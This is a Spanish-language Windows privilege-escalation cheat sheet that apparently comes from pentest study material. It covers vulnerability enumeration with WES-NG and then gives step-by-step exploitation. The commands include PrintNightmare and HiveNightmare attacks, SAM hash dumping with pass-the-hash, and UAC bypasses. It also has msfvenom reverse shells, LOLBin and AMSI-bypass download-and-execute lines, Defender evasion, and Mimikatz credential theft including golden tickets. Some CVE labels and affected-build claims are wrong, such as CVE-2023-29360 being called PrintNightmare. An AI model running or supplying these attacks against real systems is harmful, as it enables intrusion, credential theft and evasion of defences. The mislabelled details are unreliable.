Skip to content

Exploits de Kernel, Vulnerabilidades y Protecciones

Búsqueda de Vulnerabilidades de Kernel

WES-NG (Windows Exploit Suggester - Next Generation)

Se ejecuta en tu máquina Kali, NO en el objetivo (más sigiloso).

Instalación en Kali:

bash
git clone https://github.com/bitsadmin/wesng.git
cd wesng
python3 wes.py --update
# La base de datos se actualiza regularmente

En el objetivo - Recopilar información:

powershell
systeminfo > sysinfo.txt
 
# Parches de seguridad
Get-CimInstance -Class win32_quickfixengineering | Where-Object { $_.Description -eq "Security Update" }

Transferir a Kali:

bash
scp usuario@objetivo:sysinfo.txt .

Analizar en Kali:

bash
python3 wes.py sysinfo.txt
# Resultado:
# CVE-2023-29360 - PrintNightmare (Local Privilege Escalation)
# CVE-2020-0668 - UAC Bypass
# CVE-2021-1732 - Win32k Elevation
# ... más CVEs

Enumeración de Versión del Sistema Operativo

Información básica del OS

powershell
# Versión completa del sistema
winver
 
# Desde PowerShell
[System.Environment]::OSVersion
[System.Environment]::OSVersion.Version
 
# Información detallada
Get-ComputerInfo | Select-Object OsName, OsVersion, OsBuildNumber, OsArchitecture, OsServicePackMajorVersion
 
# Alternativa con CimInstance
Get-CimInstance -ClassName Win32_OperatingSystem | 
    Select-Object Caption, Version, BuildNumber, OSArchitecture, ServicePackMajorVersion, LastBootUpTime
 
# Con systeminfo (más completo)
systeminfo | findstr /i "OS Name\|OS Version\|System Type\|Build"

Output típico y qué significa:

OS Name:    Microsoft Windows 10 Pro
OS Version: 10.0.19041 Build 19041    ← Build number es clave
System Type: x64-based PC

Tabla de builds importantes:

Windows 10:
  1507  → Build 10240
  1607  → Build 14393
  1803  → Build 17134
  1903  → Build 18362
  20H2  → Build 19042
  21H1  → Build 19043
  22H2  → Build 19045  (más común actualmente)
 
Windows 11:
  21H2  → Build 22000
  22H2  → Build 22621
  23H2  → Build 22631
 
Windows Server:
  2016  → Build 14393
  2019  → Build 17763
  2022  → Build 20348

Cuanto más antiguo el build, más CVEs disponibles.


Enumeración de Parches Instalados

Ver parches instalados

powershell
# Todos los hotfixes instalados
Get-HotFix | Select-Object HotFixID, InstalledOn, Description | Sort-Object InstalledOn -Descending
 
# Solo actualizaciones de seguridad
Get-HotFix | Where-Object {$_.Description -eq "Security Update"} | 
    Select-Object HotFixID, InstalledOn | Sort-Object InstalledOn -Descending
 
# Cantidad total de parches instalados
(Get-HotFix).Count
 
# Ver si un parche específico está instalado (buscar por KB)
Get-HotFix -Id KB5012345
# Si no devuelve nada = parche NO instalado = sistema vulnerable
 
# Con CimInstance
Get-CimInstance -Class Win32_QuickFixEngineering | 
    Select-Object HotFixID, InstalledOn, Description | 
    Sort-Object InstalledOn -Descending
 
# Con systeminfo
systeminfo | findstr /i "KB"

Buscar parches faltantes críticos:

powershell
# Lista de parches instalados
$installedPatches = (Get-HotFix).HotFixID
 
# Verificar si un parche específico está ausente
$criticalPatch = "KB5012345"
if ($installedPatches -notcontains $criticalPatch) {
    Write-Host "PARCHE FALTANTE: $criticalPatch - Sistema posiblemente vulnerable" -ForegroundColor Red
} else {
    Write-Host "Parche $criticalPatch instalado" -ForegroundColor Green
}

Enumeración de Aplicaciones Instaladas

Ver aplicaciones y sus versiones

powershell
# Aplicaciones 64-bit
Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\*" | 
    Select-Object DisplayName, DisplayVersion, Publisher, InstallDate |
    Where-Object {$_.DisplayName -ne $null} |
    Sort-Object DisplayName
 
# Aplicaciones 32-bit (en sistema 64-bit)
Get-ItemProperty "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*" | 
    Select-Object DisplayName, DisplayVersion, Publisher, InstallDate |
    Where-Object {$_.DisplayName -ne $null} |
    Sort-Object DisplayName
 
# Ambas en una sola query
$apps = @(
    "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\*",
    "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*"
)
Get-ItemProperty $apps | 
    Select-Object DisplayName, DisplayVersion, Publisher, InstallDate |
    Where-Object {$_.DisplayName -ne $null} |
    Sort-Object DisplayName | Format-Table -AutoSize
 
# Con wmic (cmd)
wmic product get name,version,vendor

Buscar versiones vulnerables de aplicaciones específicas:

powershell
# Buscar versión de una aplicación concreta
Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\*" | 
    Where-Object {$_.DisplayName -like "*NombreApp*"} | 
    Select-Object DisplayName, DisplayVersion, InstallLocation
 
# Buscar aplicaciones por publisher
Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\*" | 
    Where-Object {$_.Publisher -like "*NombreVendor*"} | 
    Select-Object DisplayName, DisplayVersion

Enumeración de Procesos y Versiones en Ejecución

powershell
# Ver todos los procesos con ruta del ejecutable
Get-Process | Select-Object Name, Id, Path, FileVersion, ProductVersion | 
    Where-Object {$_.Path -ne $null} | Format-Table -AutoSize
 
# Versión de un proceso específico
Get-Process -Name "NombreApp" | Select-Object Name, FileVersion, Path
 
# Ver información de versión de un ejecutable
(Get-Item "C:\ruta\al\app.exe").VersionInfo
 
# Alternativa
[System.Diagnostics.FileVersionInfo]::GetVersionInfo("C:\ruta\al\app.exe")

Enumeración de Drivers y Kernel

powershell
# Ver drivers del sistema (pueden tener vulnerabilidades propias)
Get-WindowsDriver -Online | Select-Object Driver, Version, ProviderName, Date | 
    Sort-Object Date -Descending | Format-Table -AutoSize
 
# Drivers de terceros (no Microsoft)
Get-WindowsDriver -Online | 
    Where-Object {$_.ProviderName -notlike "*Microsoft*"} | 
    Select-Object Driver, Version, ProviderName, Date
 
# Con driverquery (cmd)
driverquery /v /fo csv | ConvertFrom-Csv | 
    Select-Object "Module Name", "Display Name", "Driver Type", "State" | 
    Format-Table -AutoSize
 
# Drivers firmados vs sin firma (sin firma = más vulnerables)
driverquery /si

Flujo Completo: Recopilar para WES-NG

powershell
# 1. Recopilar systeminfo completo
systeminfo > C:\temp\sysinfo.txt
 
# 2. Recopilar parches instalados
Get-HotFix | Select-Object HotFixID | Out-File -Append C:\temp\sysinfo.txt
 
# 3. Transferir a Kali
# (desde Kali)
scp usuario@192.168.1.100:C:\temp\sysinfo.txt .
 
# 4. Analizar con WES-NG
python3 wes.py sysinfo.txt
 
# 5. Filtrar solo LPE (Local Privilege Escalation)
python3 wes.py sysinfo.txt | grep -i "privilege\|local\|elevation"
 
# 6. Filtrar por severidad
python3 wes.py sysinfo.txt --impact "Elevation of Privilege"
 
# 7. Excluir exploits sin PoC disponible
python3 wes.py sysinfo.txt --exploits-only

PrintNightmare (CVE-2021-1675 / CVE-2021-34527)

Vulnerabilidad en Windows Print Spooler

El print spooler corre como SYSTEM. PrintNightmare permite escalada local de privilegios mediante una vulnerabilidad en la función de gestión de drivers de impresoras.

Verificar Versión Afectada

powershell
systeminfo | findstr /i "build"

# Afectados (sin KB5004945):
# Windows 10 Build < 19042.1110
# Windows 11 Build < 22000
# Server 2016, 2019, 2022 no parchados

Verificar si Print Spooler Corre

powershell
Get-Service spooler

# Si State = Running → Potencialmente vulnerable
# Si State = Stopped → No es explotable

Explotación - Opción 1: PoC Compilado

powershell
# Descargar
iwr -uri http://192.168.1.100/PrintNightmare.exe -OutFile PrintNightmare.exe

# Ejecutar
.\PrintNightmare.exe 192.168.1.100 \\192.168.1.100\share malicious.dll

Explotación - Opción 2: MSFVenom + Metasploit

bash
# En Kali - Generar payload DLL
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f dll -o shell.dll

# Configurar handler
msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.100
set LPORT 4444
exploit

# En objetivo
.\PrintNightmare.exe 192.168.1.100 \\192.168.1.100\share shell.dll

Explotación - Opción 3: PowerShell PoC

powershell
# Descargar
iwr -uri http://192.168.1.100/PrintNightmare.ps1 -OutFile PrintNightmare.ps1

powershell -ep bypass
. .\PrintNightmare.ps1

# Ejecutar
Invoke-PrintNightmare -ComputerName localhost -DriverPath \\192.168.1.100\share\malicious.dll

HiveNightmare (CVE-2021-36934)

Vulnerabilidad en permisos de archivos del registro

Permite leer archivos del registro (SAM, SYSTEM, SECURITY) que normalmente están protegidos. No requiere privilegios especiales.

Verificar Versión Afectada

powershell
systeminfo | findstr build

# Afectados:
# Windows 10 Build < 19042.1052
# Windows 11 Build < 22000

Explotación Paso a Paso

1. Buscar directorio System Volume Information

powershell
# El registro backup está aquí (oculto)
Get-ChildItem -Path "C:\System Volume Information\RegBack\" -Force

# Deberías ver: SAM, SYSTEM, SECURITY, DEFAULT

2. Copiar archivos protegidos

powershell
Copy-Item -Path "C:\System Volume Information\RegBack\SAM" -Destination "C:\temp\SAM" -Force
Copy-Item -Path "C:\System Volume Information\RegBack\SYSTEM" -Destination "C:\temp\SYSTEM" -Force
Copy-Item -Path "C:\System Volume Information\RegBack\SECURITY" -Destination "C:\temp\SECURITY" -Force

3. Transferir a Kali

bash
scp usuario@objetivo:C:\temp\SAM .
scp usuario@objetivo:C:\temp\SYSTEM .

4. Extraer hashes NTLM

bash
python3 -m impacket.secretsdump -sam SAM -system SYSTEM LOCAL

# Resultado:
Administrator:500:aad3b435b51404ee:5f4dcc3b5aa765d61d8327deb882cf99:::
Guest:501:aad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

5. Pass-the-Hash para acceso remoto

bash
python3 psexec.py -hashes aad3b435b51404ee:5f4dcc3b5aa765d61d8327deb882cf99 Administrator@192.168.1.100

# Conectado como Administrator con acceso total

CVE-2020-0668 - UAC Bypass sin Privilegios

Permite ejecutar comandos como admin sin solicitar permiso de UAC

Verificar Versión Afectada

powershell
systeminfo | findstr build

# Afectados:
# Windows 10 Build < 19041
# Windows Server 2019 no parchado

Explotación - Método: SystemPropertiesAdvanced.exe

SystemPropertiesAdvanced.exe es un binario de Windows que puede ejecutarse con UAC elevado automáticamente.

1. Crear script malicioso

powershell
# O crear ejecutable que hagas lo que quieras
# Guardarlo como: C:\Windows\System32\srrstr.dll o similar

2. Usar herramienta precompilada

powershell
# Descargar
iwr -uri http://192.168.1.100/UAC_Bypass_CVE-2020-0668.exe -OutFile uac_bypass.exe

# Ejecutar
.\uac_bypass.exe "whoami"

# Ejecuta como admin sin solicitar UAC

Explotación - Método: DLL Hijacking via SystemPropertiesAdvanced

1. Generar DLL maliciosa

bash
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.100 LPORT=8443 -f dll > srrstr.dll

2. Descargar al objetivo

powershell
iwr -uri http://192.168.1.100/srrstr.dll -OutFile "C:\Users\usuario\AppData\Local\Microsoft\WindowsApps\srrstr.dll"

3. Listener

bash
nc -lvp 8443

4. Ejecutar SystemPropertiesAdvanced

powershell
C:\Windows\SysWOW64\SystemPropertiesAdvanced.exe

# La DLL se carga como admin automáticamente

5. Recibir shell como admin

nc -lvp 8443
Listening on 0.0.0.0 8443
Connection received from 192.168.1.100 50273

C:\Windows\system32>whoami
dominio\usuario (con permisos de admin)

CVE-2023-29360 - Windows Print Spooler RCE

Variante más reciente de PrintNightmare.

bash
# En Kali
git clone https://github.com/avinashkrg/CVE-2023-29360.git
cd CVE-2023-29360
make

# En objetivo
.\CVE-2023-29360.exe

# Debería dar acceso a SYSTEM

Búsqueda de Otros Exploits de Kernel

SearchSploit (Exploit-DB)

bash
# En Kali
searchsploit "Windows 11" kernel
searchsploit "Windows 10" privilege escalation
searchsploit "CVE-2023"

# Descargar por ID
searchsploit -m 50123

# O en línea
https://www.exploit-db.com/?type=remote&action=search&q=Windows%20Kernel

Compilar Exploits Genéricos

Si encuentras un CVE sin PoC compilado:

bash
# Crear payload ejecutable
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe -o payload.exe

# O DLL
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f dll -o payload.dll

# O shellcode C
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f c > shellcode.c

UAC (User Account Control) - Bypasses

Verificar Estado de UAC

powershell
# Ver si está habilitado
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\" /v EnableLUA

# 0 = Deshabilitado (no hay protección)
# 1 = Habilitado (protección activa)

# Ver nivel de prompts
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\" /v ConsentPromptBehaviorAdmin

# 0 = No preguntar (escalado automático)
# 2 = Preguntar credenciales
# 5 = Preguntar consentimiento (default)

UAC Bypass - Usando Tareas Programadas

Las tareas programadas pueden ejecutarse como SYSTEM sin UAC.

powershell
# 1. Crear acción de tarea
$Action = New-ScheduledTaskAction -Execute "C:\temp\payload.exe"
$Trigger = New-ScheduledTaskTrigger -AtLogon
$Task = New-ScheduledTask -Action $Action -Trigger $Trigger -User "NT AUTHORITY\SYSTEM"

# 2. Registrar tarea
Register-ScheduledTask -TaskName "WindowsUpdate" -InputObject $Task

# 3. Ejecutar inmediatamente
Start-ScheduledTask -TaskName "WindowsUpdate"

# Tu payload se ejecuta como SYSTEM sin UAC

UAC Bypass - Usando FODHelper (Features On Demand Helper)

FODHelper busca valores en registro ejecutables sin solicitar UAC.

powershell
# 1. Crear clave del registro que apunte a nuestro ejecutable
reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /v DelegateExecute /t REG_SZ /d ""
reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /ve /t REG_SZ /d "C:\temp\payload.exe"

# 2. Ejecutar FODHelper (se ejecuta sin UAC)
.\fodhelper.exe

# 3. Limpiar después
reg delete "HKCU\Software\Classes\ms-settings" /f

UAC Bypass - Usando SilentCleanup

Otro método alternativo basado en binarios confiables de Windows.


AppLocker - Restricciones de Ejecución

Verificar Estado

powershell
Get-AppLockerPolicy -Effective
Get-AppLockerPolicy -Effective -RuleType Executable
Test-AppLockerPolicy -Path "C:\Windows\System32\cmd.exe" -User Everyone

Bypass - Directorios sin Restricción

powershell
# AppLocker típicamente permite C:\Windows\System32
copy payload.exe "C:\Windows\System32\payload.exe"
C:\Windows\System32\payload.exe

Bypass - Usar LOLBINS (Binarios Legítimos de Windows)

Windows incluye muchas herramientas que pueden ejecutar código:

powershell
# CertUtil - descargar archivos
certutil.exe -urlcache -split -f "http://192.168.1.100/payload.exe" payload.exe

# BITSAdmin - transferir archivos
bitsadmin /transfer job /download /priority high "http://192.168.1.100/payload.exe" C:\temp\payload.exe

# HH.exe (Help and Support) - ejecutar scripts CHM
hh.exe http://192.168.1.100/payload.chm

# Regsvcs - ejecutar .NET
regsvcs.exe payload.dll

# InstallUtil - ejecutar .NET
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe payload.dll

# PSByPassCLM (bypass Constrained Language Mode)
powershell -Version 2 -NoProfile -Command "whoami"

Windows Defender - Antivirus Evasion

Verificar Estado

powershell
Get-MpComputerStatus | Select-Object RealTimeProtectionEnabled, BehaviorMonitorEnabled
Get-MpComputerStatus | Select-Object AntivirusEnabled, AntispywareEnabled

Técnicas de Evasión

1. Guardar en zona permitida

powershell
# Directorios con exclusiones típicas
C:\ProgramData\
C:\Program Files\

2. PowerShell sin Write-Host

powershell
$url = "http://192.168.1.100/payload.exe"
$output = "payload.exe"
(New-Object System.Net.WebClient).DownloadFile($url, $output)
& $output

3. Ofuscación de código

bash
# En Kali - codificar comando
python3 -c "import base64; print(base64.b64encode(b'whoami').decode())"
# d2hvYW1p

# En PowerShell
powershell -EncodedCommand d2hvYW1p

4. AMSI Bypass (Antimalware Scan Interface)

AMSI analiza scripts en tiempo de ejecución.

powershell
# Desabilitar AMSI temporalmente
[Ref].Assembly.GetType('System.Management.Automation.Amsi').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

# Ahora ejecutar script bloqueado
IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.100/script.ps1')

Windows Defender Exploit Guard

Verificar Estado

powershell
Get-MpComputerStatus | Select-Object IsVirtualizationBasedSecuritySupported, VirtualizationBasedSecurityStatus
Get-MpComputerStatus | Select-Object DeviceGuardSecurityServicesRunning

Secure Boot y UEFI

Verificar

powershell
Confirm-SecureBootUEFI

Post-Explotación Completa con Mimikatz

Una vez que tienes acceso como admin o SYSTEM.

Descarga:

bash
wget https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0-20220519/mimikatz_trunk.zip
unzip mimikatz_trunk.zip
cd mimikatz/x64

Comandos principales:

powershell
.\mimikatz.exe

# Obtener privilegios de debug
privilege::debug

# Extraer TODAS las credenciales en memoria
sekurlsa::logonpasswords

# Volcado de SAM
token::elevate
lsadump::sam

# Kerberos tickets (movimiento lateral en dominio)
sekurlsa::tickets

# Pass-the-Hash
sekurlsa::pth /user:Administrator /domain:. /ntlm:5f4dcc3b5aa765d61d8327deb882cf99 /run:cmd.exe

# Golden Ticket (falsificar ticket de admin en dominio)
kerberos::golden /user:Administrator /domain:dominio.local /sid:S-1-5-21-... /krbtgt:krbtgt_hash /ptt

# Pass-the-Ticket
kerberos::ptt <ticket_file>

# Extraer credenciales guardadas
vault::cred /patch

Resumen de Escalada - Flujo Completo

1. ENUMERACIÓN
   ├─ whoami, systeminfo, Get-MpComputerStatus
   ├─ Buscar privilegios especiales
   └─ WES-NG para CVEs

2. BÚSQUEDA DE CREDENCIALES
   ├─ PowerShell history
   ├─ Unattend.xml
   ├─ Archivos de configuración
   └─ Aplicaciones que guardan credenciales

3. SERVICIOS VULNERABLES
   ├─ Binarios con permisos débiles
   ├─ Rutas sin comillas
   ├─ DACL débil
   └─ DLL hijacking

4. TAREAS PROGRAMADAS
   ├─ Identificar tareas
   └─ Reemplazar binario

5. PRIVILEGIOS ESPECIALES
   ├─ SeBackupPrivilege → SAM
   ├─ SeImpersonatePrivilege → JuicyPotato
   └─ SeTakeOwnershipPrivilege → Reemplazar binarios

6. EXPLOITS DE KERNEL
   ├─ WES-NG identifica CVEs
   ├─ PrintNightmare
   ├─ HiveNightmare
   └─ UAC Bypass

7. POST-EXPLOTACIÓN
   ├─ Mimikatz para extraer hashes
   ├─ Pass-the-Hash
   └─ Kerberos tickets